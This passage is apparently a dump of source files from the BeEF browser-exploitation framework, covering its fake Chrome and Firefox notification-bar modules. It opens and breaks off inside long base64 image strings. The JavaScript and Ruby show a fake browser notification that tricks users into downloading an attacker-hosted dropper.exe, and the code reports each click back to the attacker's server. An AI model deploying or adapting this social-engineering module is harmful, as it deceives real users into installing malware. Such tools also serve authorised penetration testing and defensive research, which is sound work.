url(data:image/png;base64,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);'});\n\tvar elp = beef.dom.createElement('div',{'id':pid,'style':'margin: 0 50px 0 15px; height: 27px; line-height: 27px; font-weight: bold; font-family: sans-serif; font-size: 12px; padding: 0'});\n\t$j('body').append(el);\n\tvar hid = '#'+id;\n\tvar hpid = '#'+pid;\n\t$j(hid).append(elp);\n\t$j(hpid).html(decodeURIComponent(beef.encode.base64.decode('<%= Base64.strict_encode64(@notification_text) %>')));\n\t$j(hid).append(ell);\n\t$j(hid).append(elr);\n\t$j(hid).click(function() {\n\t\t$j(this).slideUp(300,function() {\n\t\t\t$j(this).remove();\n\t\t});\n\t\twindow.location = '<%= @url %>';\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=User has clicked the notification');\n\t});\n\t$j(hid).css('cursor','pointer');\n\t$j(hid).slideDown(300,function() {\n\t\tbeef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Notification has been displayed', beef.are.status_success());\n\t});\n\treturn [beef.are.status_success(), 'Notification has been displayed'];\n\n});\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_c/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        fake_notification_c:\n            enable: true\n            category: \"Social Engineering\"\n            name: \"Fake Notification Bar (Chrome)\"\n            description: \"Displays a fake notification bar at the top of the screen, similar to those presented in Chrome. If the user clicks the notification they will be prompted to download the file specified below.<br><br>You can mount an exe in BeEF as per extensions/social_engineering/droppers/readme.txt.\"\n            authors: [\"xntrik\", \"bcoles\"]\n            target:\n                user_notify: ['ALL']\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_c/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Fake_notification_c < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    proto = @configuration.beef_proto\n    beef_host = @configuration.beef_host\n    beef_port = @configuration.beef_port\n    base_host = \"#{proto}://#{beef_host}:#{beef_port}\"\n\n    [\n      { 'name' => 'url', 'ui_label' => 'URL', 'value' => \"#{base_host}/dropper.exe\", 'width' => '150px' },\n      { 'name' => 'notification_text',\n        'description' => 'Text displayed in the notification bar',\n        'ui_label' => 'Notification text',\n        'value' => 'Additional plugins are required to display all the media on this page.' }\n    ]\n  end\n\n  #\n  # This method is being called when a zombie sends some\n  # data back to the framework.\n  #\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/social_engineering/fake_notification_ff/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar id = beef.dom.generateID();\n\tvar pid = beef.dom.generateID();\n\tvar zztop = beef.dom.getHighestZindex()+1;\n\tvar el = beef.dom.createElement('div',{'id':id,'style':'width:100%; position:fixed; top:0px; left:0px; margin:0; padding:0px 20px 0px 20px; z-index:'+zztop+'; border-bottom:1px solid black; background:#fbe99a; display:none;'});\n\tvar ell = beef.dom.createElement('div',{'style':'width: 16px; height: 18px; padding: 0; margin: 3px 0px 5px 5px; position: absolute; left: 0px; top: 0px; background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAASCAMAAABl5a5YAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JQAAgIMAAPn/AACA6QAAdTAAAOpgAAA6mAAAF2+SX8VGAAACxFBMVEUAAABLfxp6o1aQtHCUtnSEq19klDoHSgB1ok2bwHm00pi51Z6nyYaCr1dViiJ/qleVwW2Bs1Nfky8PVAAkYgBklDaHtlp+t0p0pkRCeAw2cAApZAAAJABUhyiFrW6Qt3uJtGuGt1l7tkR7rk54q054q1JypUxdki9ol0CMuG9tqzxjmjRulUl5olR2n09fkjJ4sUZapBZamCJtnkCUvG+YwHNsojlurTNYqAxaphRaoxdVlBhdmCV7tEZ9uUZqripnryNephpZlx9TkRhLhxFTlBRbpBZeoxxUhScAFQA4bQZMkQtVog1dpBtUhyQ8cgo8dgdIiwdaohdnrSVZpBJXqApgtBBitBRftA5eqxVZnBhTlxJKig5BgAVOkg9WmRZPjxJWow1hrxdkpiZmpStlqiRfsRFarA1Ypg5QlQ8qYAAKNQBJiA9Vogxcoho1WRQAAABPhRtfrBddqhRQkw8AAAAAAAAAAAAzYQlQmAtXmxYfNggAAAA+bRJfqhhgqB1JiA4AAAAAAAAAAAARIQI5bAlIiAxLixBGfRIbMQUAAAAxWA1NhxVNihRNiRRFfw8vWgcAAAAAAAAAAAAAAAAHDwAVJwQVJwQTJAIIEQAAAAAOHAETJAMTJAISJAENGgAAAQCax2+XxWyRwmSEu1B9uEd9uUV3tjyMv2eEu1V7uUNytTNrsilpsCZqrytprS1prC54tztytjJosSNcqxFXqQpWqAhUpwdUpQZTpAZvtC1ksBxYqwtVqgVWqgZVqQZVqQZfrhVXqwhXrAZXrAZXrQZXrAZYrAlVpQpVpwlXqQlWqwZXrAZYrgZYrwZYsAZYrwVbrgxWpgtVpwhVqQZXrAZYrgZYsAZasgZaswZZsQVbsAtXrQZYrwZcsglbsQhXrQdasAhZrwhXrQZbsAtbsQtesBFXqglarQxhsBZnsiEAAAAxUQbgAAAAoXRSTlMABjZte2AiATrE9fnwnBde8csoBAo5zv2aGgwIAQxjn6Xe+8afoYouJsf1dAMYGi7O+oExp7mR3/719IKA+P/5/Nhjak6k/6INAQOf/qoSCA1r7/3u+Pz4/ueRmWUbd4tu1+WPdrD5/vmCBQUszq8ZB0bo+oIAAgUyzc09IW/19nkAAwskf7Gzpk8rcrO0tZ0/AAIHDRciJSUaFB4nKCgfDBG2k6cAAAABYktHRACIBR1IAAAACXB